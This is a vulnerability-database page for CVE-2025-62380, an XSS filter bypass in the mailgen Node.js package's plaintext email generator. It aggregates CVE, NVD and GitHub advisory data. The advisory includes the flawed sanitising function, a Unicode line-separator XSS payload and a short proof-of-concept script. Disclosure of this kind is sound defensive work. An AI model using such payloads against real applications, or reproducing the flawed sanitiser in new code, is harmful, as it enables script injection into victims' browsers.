Vulnerability-Lookup

CVE-2025-62380 (GCVE-0-2025-62380)

Vulnerability from cvelistv5 – Published: 2025-10-15 16:52 – Updated: 2025-10-15 17:15

Title

Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails

Summary

mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.31 contain an HTML injection vulnerability in plaintext emails generated with the generatePlaintext method when user generated content is supplied. The plaintext generation code attempts to strip HTML tags using a regular expression and then decodes HTML entities, but tags that include certain Unicode line separator characters are not matched and removed. These encoded tags are later decoded into valid HTML content, allowing unexpected HTML to remain in output intended to be plaintext. Projects are affected if they call Mailgen.generatePlaintext with untrusted input and then render or otherwise process the returned string in a context where HTML is interpreted. This can lead to execution of attacker supplied script in the victim’s browser. Version 2.0.32 fixes the issue.

Severity

2.9 (Low)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-10-15 17:14 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/eladnava/mailgen/security/advi…	x_refsource_CONFIRM
https://github.com/eladnava/mailgen/commit/7a791a…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
eladnava	mailgen	Affected: < 2.0.32	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-62380",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-15T17:14:58.432539Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-15T17:15:16.972Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mailgen",
          "vendor": "eladnava",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.32"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.31 contain an HTML injection vulnerability in plaintext emails generated with the generatePlaintext method when user generated content is supplied. The plaintext generation code attempts to strip HTML tags using a regular expression and then decodes HTML entities, but tags that include certain Unicode line separator characters are not matched and removed. These encoded tags are later decoded into valid HTML content, allowing unexpected HTML to remain in output intended to be plaintext. Projects are affected if they call Mailgen.generatePlaintext with untrusted input and then render or otherwise process the returned string in a context where HTML is interpreted. This can lead to execution of attacker supplied script in the victim\u2019s browser. Version 2.0.32 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 2.9,
            "baseSeverity": "LOW",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-10-15T16:52:39.407Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/eladnava/mailgen/security/advisories/GHSA-q4w9-x3rv-4c8j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/eladnava/mailgen/security/advisories/GHSA-q4w9-x3rv-4c8j"
        },
        {
          "name": "https://github.com/eladnava/mailgen/commit/7a791a424ff3a3f7783f8750919f1e98639924a8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/eladnava/mailgen/commit/7a791a424ff3a3f7783f8750919f1e98639924a8"
        }
      ],
      "source": {
        "advisory": "GHSA-q4w9-x3rv-4c8j",
        "discovery": "UNKNOWN"
      },
      "title": "Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-62380",
    "datePublished": "2025-10-15T16:52:39.407Z",
    "dateReserved": "2025-10-10T14:22:48.205Z",
    "dateUpdated": "2025-10-15T17:15:16.972Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2025-62380",
      "date": "2026-10-02",
      "epss": "0.00452",
      "percentile": "0.37051"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "mailgen",
                "vendor": "eladnava",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 2.0.32"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.31 contain an HTML injection vulnerability in plaintext emails generated with the generatePlaintext method when user generated content is supplied. The plaintext generation code attempts to strip HTML tags using a regular expression and then decodes HTML entities, but tags that include certain Unicode line separator characters are not matched and removed. These encoded tags are later decoded into valid HTML content, allowing unexpected HTML to remain in output intended to be plaintext. Projects are affected if they call Mailgen.generatePlaintext with untrusted input and then render or otherwise process the returned string in a context where HTML is interpreted. This can lead to execution of attacker supplied script in the victim\u2019s browser. Version 2.0.32 fixes the issue."
          },
          {
            "lang": "es",
            "value": "mailgen es un paquete de Node.js que genera correos electr\u00f3nicos HTML responsivos para enviar correo transaccional. Las versiones de Mailgen hasta la 2.0.31 contienen una vulnerabilidad de inyecci\u00f3n HTML en correos electr\u00f3nicos de texto plano generados con el m\u00e9todo generatePlaintext cuando se suministra contenido generado por el usuario. El c\u00f3digo de generaci\u00f3n de texto plano intenta eliminar etiquetas HTML usando una expresi\u00f3n regular y luego decodifica entidades HTML, pero las etiquetas que incluyen ciertos caracteres separadores de l\u00ednea Unicode no son coincidentes ni eliminadas. Estas etiquetas codificadas son posteriormente decodificadas en contenido HTML v\u00e1lido, permitiendo que HTML inesperado permanezca en la salida destinada a ser texto plano. Los proyectos se ven afectados si llaman a Mailgen.generatePlaintext con entrada no confiable y luego renderizan o procesan de otra manera la cadena devuelta en un contexto donde se interpreta HTML. Esto puede llevar a la ejecuci\u00f3n de scripts suministrados por el atacante en el navegador de la v\u00edctima. La versi\u00f3n 2.0.32 corrige el problema."
          }
        ],
        "id": "CVE-2025-62380",
        "lastModified": "2026-09-30T23:10:00.237",
        "metrics": {
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 2.9,
                "baseSeverity": "LOW",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "PROOF_OF_CONCEPT",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "LOW",
                "subIntegrityImpact": "LOW",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2025-62380",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-15T17:14:58.432539Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2025-10-15T17:16:00.480",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/eladnava/mailgen/commit/7a791a424ff3a3f7783f8750919f1e98639924a8"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/eladnava/mailgen/security/advisories/GHSA-q4w9-x3rv-4c8j"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-79"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2025-10-16T16:56:49+00:00",
      "cve": "CVE-2025-62380",
      "id": "CVE-2025-62380",
      "initial_release_date": "2025-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-62380.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2025-62380",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2025-10-15T17:14:58.432539Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2025-10-15T17:15:01.847Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "mailgen",
              "vendor": "eladnava",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 2.0.32"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.31 contain an HTML injection vulnerability in plaintext emails generated with the generatePlaintext method when user generated content is supplied. The plaintext generation code attempts to strip HTML tags using a regular expression and then decodes HTML entities, but tags that include certain Unicode line separator characters are not matched and removed. These encoded tags are later decoded into valid HTML content, allowing unexpected HTML to remain in output intended to be plaintext. Projects are affected if they call Mailgen.generatePlaintext with untrusted input and then render or otherwise process the returned string in a context where HTML is interpreted. This can lead to execution of attacker supplied script in the victim\u2019s browser. Version 2.0.32 fixes the issue."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "baseScore": 2.9,
                "baseSeverity": "LOW",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "LOW",
                "subIntegrityImpact": "LOW",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-79",
                  "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2025-10-15T16:52:39.407Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/eladnava/mailgen/security/advisories/GHSA-q4w9-x3rv-4c8j",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/eladnava/mailgen/security/advisories/GHSA-q4w9-x3rv-4c8j"
            },
            {
              "name": "https://github.com/eladnava/mailgen/commit/7a791a424ff3a3f7783f8750919f1e98639924a8",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/eladnava/mailgen/commit/7a791a424ff3a3f7783f8750919f1e98639924a8"
            }
          ],
          "source": {
            "advisory": "GHSA-q4w9-x3rv-4c8j",
            "discovery": "UNKNOWN"
          },
          "title": "Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2025-62380",
        "datePublished": "2025-10-15T16:52:39.407Z",
        "dateReserved": "2025-10-10T14:22:48.205Z",
        "dateUpdated": "2025-10-15T17:15:16.972Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

FKIE_CVE-2025-62380

Vulnerability from fkie_nvd - Published: 2025-10-15 17:16 - Updated: 2026-09-30 23:10

Severity

2.9 (Low) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/eladnava/mailgen/commit/7a791a424ff3a3f7783f8750919f1e98639924a8
	security-advisories@github.com	https://github.com/eladnava/mailgen/security/advisories/GHSA-q4w9-x3rv-4c8j

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mailgen",
          "vendor": "eladnava",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.32"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.31 contain an HTML injection vulnerability in plaintext emails generated with the generatePlaintext method when user generated content is supplied. The plaintext generation code attempts to strip HTML tags using a regular expression and then decodes HTML entities, but tags that include certain Unicode line separator characters are not matched and removed. These encoded tags are later decoded into valid HTML content, allowing unexpected HTML to remain in output intended to be plaintext. Projects are affected if they call Mailgen.generatePlaintext with untrusted input and then render or otherwise process the returned string in a context where HTML is interpreted. This can lead to execution of attacker supplied script in the victim\u2019s browser. Version 2.0.32 fixes the issue."
    },
    {
      "lang": "es",
      "value": "mailgen es un paquete de Node.js que genera correos electr\u00f3nicos HTML responsivos para enviar correo transaccional. Las versiones de Mailgen hasta la 2.0.31 contienen una vulnerabilidad de inyecci\u00f3n HTML en correos electr\u00f3nicos de texto plano generados con el m\u00e9todo generatePlaintext cuando se suministra contenido generado por el usuario. El c\u00f3digo de generaci\u00f3n de texto plano intenta eliminar etiquetas HTML usando una expresi\u00f3n regular y luego decodifica entidades HTML, pero las etiquetas que incluyen ciertos caracteres separadores de l\u00ednea Unicode no son coincidentes ni eliminadas. Estas etiquetas codificadas son posteriormente decodificadas en contenido HTML v\u00e1lido, permitiendo que HTML inesperado permanezca en la salida destinada a ser texto plano. Los proyectos se ven afectados si llaman a Mailgen.generatePlaintext con entrada no confiable y luego renderizan o procesan de otra manera la cadena devuelta en un contexto donde se interpreta HTML. Esto puede llevar a la ejecuci\u00f3n de scripts suministrados por el atacante en el navegador de la v\u00edctima. La versi\u00f3n 2.0.32 corrige el problema."
    }
  ],
  "id": "CVE-2025-62380",
  "lastModified": "2026-09-30T23:10:00.237",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 2.9,
          "baseSeverity": "LOW",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "LOW",
          "subIntegrityImpact": "LOW",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-62380",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-10-15T17:14:58.432539Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-10-15T17:16:00.480",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/eladnava/mailgen/commit/7a791a424ff3a3f7783f8750919f1e98639924a8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/eladnava/mailgen/security/advisories/GHSA-q4w9-x3rv-4c8j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-Q4W9-X3RV-4C8J

Vulnerability from github – Published: 2025-10-15 19:29 – Updated: 2025-10-15 19:29

Summary

Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails

Details

Summary

An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Projecta are affected if the Mailgen.generatePlaintext(email) method is used and passed in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).

Details

The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.

// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
    // Plaintext theme not cached?
    if (!this.cachedPlaintextTheme) {
        throw new Error('An error was encountered while loading the plaintext theme.');
    }

    // Parse email params and get back an object with data to inject
    var ejsParams = this.parseParams(params);

    // Render the plaintext theme with ejs, injecting the data accordingly
    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);

    // Definition of the <br /> tag as a regex pattern
    var breakTag = /(?:\<br\s*\/?\>)/g;
    var breakTagPattern = new RegExp(breakTag);

    // Check the plaintext for html break tag, maintains backwards compatiblity
    if (breakTagPattern.test(this.cachedPlaintextTheme)) {
        // Strip all linebreaks from the rendered plaintext
        output = output.replace(/(?:\r\n|\r|\n)/g, '');

        // Replace html break tags with linebreaks
        output = output.replace(breakTag, '\n');

        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
        output = output.replace(/^(?: |\t)*/gm, "");
    }

    // Decode HTML entities such as &copy;
    output = he.decode(output);

    // Strip all HTML tags from plaintext output
    output = output.replace(/<(.|\n)+?>/g, '');

    // All done!
    return output;
};

The process fails because it searches for HTML tags and attempts to strip them from the input. However, if the unicode encoded characters are present inside HTML tags, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.

A valid payload is: <img src=x onerror=alert(1)\u2028>.

PoC

var Mailgen = require('mailgen');

// Configure mailgen by setting a theme and your product info
var mailGenerator = new Mailgen({
    theme: 'default',
    product: {
        // Appears in header & footer of e-mails
        name: 'Mailgen',
        link: 'https://mailgen.js/'
        // Optional product logo
        // logo: 'https://mailgen.js/img/logo.png'
    }
});

var email = {
    body: {
        name: 'John <img src=x onerror=alert(document.body.innerHTML)\u2028> Appleseed',
        intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
        action: {
            instructions: 'To get started with Mailgen, please click here:',
            button: {
                color: '#22BC66', // Optional action button color
                text: 'Confirm your account',
                link: 'secret-link'
            }
        },
        outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
    }
};

var emailText = mailGenerator.generatePlaintext(email);
require('fs').writeFileSync('emailText.html', emailText, 'utf8');

Resulting output file (emailText.html):

Hi John <img src=x onerror=alert(document.body.innerHTML)
> Appleseed,

Welcome to Mailgen! We're very excited to have you on board.        

To get started with Mailgen, please click here:        
secret-link            

Need help, or have questions? Just reply to this email, we'd love to help.        

Yours truly,  
Mailgen

© 2025 Mailgen. All rights reserved.

Impact

Depending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).

Credits

Edoardo Ottavianelli (@edoardottt)

Severity

1.3 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.31"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mailgen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T19:29:36Z",
    "nvd_published_at": "2025-10-15T17:16:00Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Projecta are affected if the `Mailgen.generatePlaintext(email)` method is used and passed in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Details\n\nThe following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n    // Plaintext theme not cached?\n    if (!this.cachedPlaintextTheme) {\n        throw new Error(\u0027An error was encountered while loading the plaintext theme.\u0027);\n    }\n    \n    // Parse email params and get back an object with data to inject\n    var ejsParams = this.parseParams(params);\n\n    // Render the plaintext theme with ejs, injecting the data accordingly\n    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n    // Definition of the \u003cbr /\u003e tag as a regex pattern\n    var breakTag = /(?:\\\u003cbr\\s*\\/?\\\u003e)/g;\n    var breakTagPattern = new RegExp(breakTag);\n\n    // Check the plaintext for html break tag, maintains backwards compatiblity\n    if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n        // Strip all linebreaks from the rendered plaintext\n        output = output.replace(/(?:\\r\\n|\\r|\\n)/g, \u0027\u0027);\n\n        // Replace html break tags with linebreaks\n        output = output.replace(breakTag, \u0027\\n\u0027);\n\n        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n        output = output.replace(/^(?: |\\t)*/gm, \"\");\n    }\n\n    // Decode HTML entities such as \u0026copy;\n    output = he.decode(output);\n\n    // Strip all HTML tags from plaintext output\n    output = output.replace(/\u003c(.|\\n)+?\u003e/g, \u0027\u0027);\n\n    // All done!\n    return output;\n};\n```\n\nThe process fails because it searches for HTML tags and attempts to strip them from the input. However, if the unicode encoded characters are present inside HTML tags, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.\n\nA valid payload is: `\u003cimg src=x onerror=alert(1)\\u2028\u003e`.\n\n### PoC\n\n```javascript\nvar Mailgen = require(\u0027mailgen\u0027);\n\n// Configure mailgen by setting a theme and your product info\nvar mailGenerator = new Mailgen({\n    theme: \u0027default\u0027,\n    product: {\n        // Appears in header \u0026 footer of e-mails\n        name: \u0027Mailgen\u0027,\n        link: \u0027https://mailgen.js/\u0027\n        // Optional product logo\n        // logo: \u0027https://mailgen.js/img/logo.png\u0027\n    }\n});\n\nvar email = {\n    body: {\n        name: \u0027John \u003cimg src=x onerror=alert(document.body.innerHTML)\\u2028\u003e Appleseed\u0027,\n        intro: \u0027Welcome to Mailgen! We\\\u0027re very excited to have you on board.\u0027,\n        action: {\n            instructions: \u0027To get started with Mailgen, please click here:\u0027,\n            button: {\n                color: \u0027#22BC66\u0027, // Optional action button color\n                text: \u0027Confirm your account\u0027,\n                link: \u0027secret-link\u0027\n            }\n        },\n        outro: \u0027Need help, or have questions? Just reply to this email, we\\\u0027d love to help.\u0027\n    }\n};\n\nvar emailText = mailGenerator.generatePlaintext(email);\nrequire(\u0027fs\u0027).writeFileSync(\u0027emailText.html\u0027, emailText, \u0027utf8\u0027);\n```\n\n**Resulting output file (emailText.html)**:\n\n```HTML\nHi John \u003cimg src=x onerror=alert(document.body.innerHTML)\n\u003e Appleseed,\n\nWelcome to Mailgen! We\u0027re very excited to have you on board.        \n\nTo get started with Mailgen, please click here:        \nsecret-link            \n\nNeed help, or have questions? Just reply to this email, we\u0027d love to help.        \n\nYours truly,  \nMailgen\n\n\u00a9 2025 Mailgen. All rights reserved.\n```\n\n### Impact\n\nDepending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).\n\n### Credits\n\nEdoardo Ottavianelli (@edoardottt)",
  "id": "GHSA-q4w9-x3rv-4c8j",
  "modified": "2025-10-15T19:29:36Z",
  "published": "2025-10-15T19:29:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eladnava/mailgen/security/advisories/GHSA-q4w9-x3rv-4c8j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62380"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eladnava/mailgen/commit/7a791a424ff3a3f7783f8750919f1e98639924a8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eladnava/mailgen"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
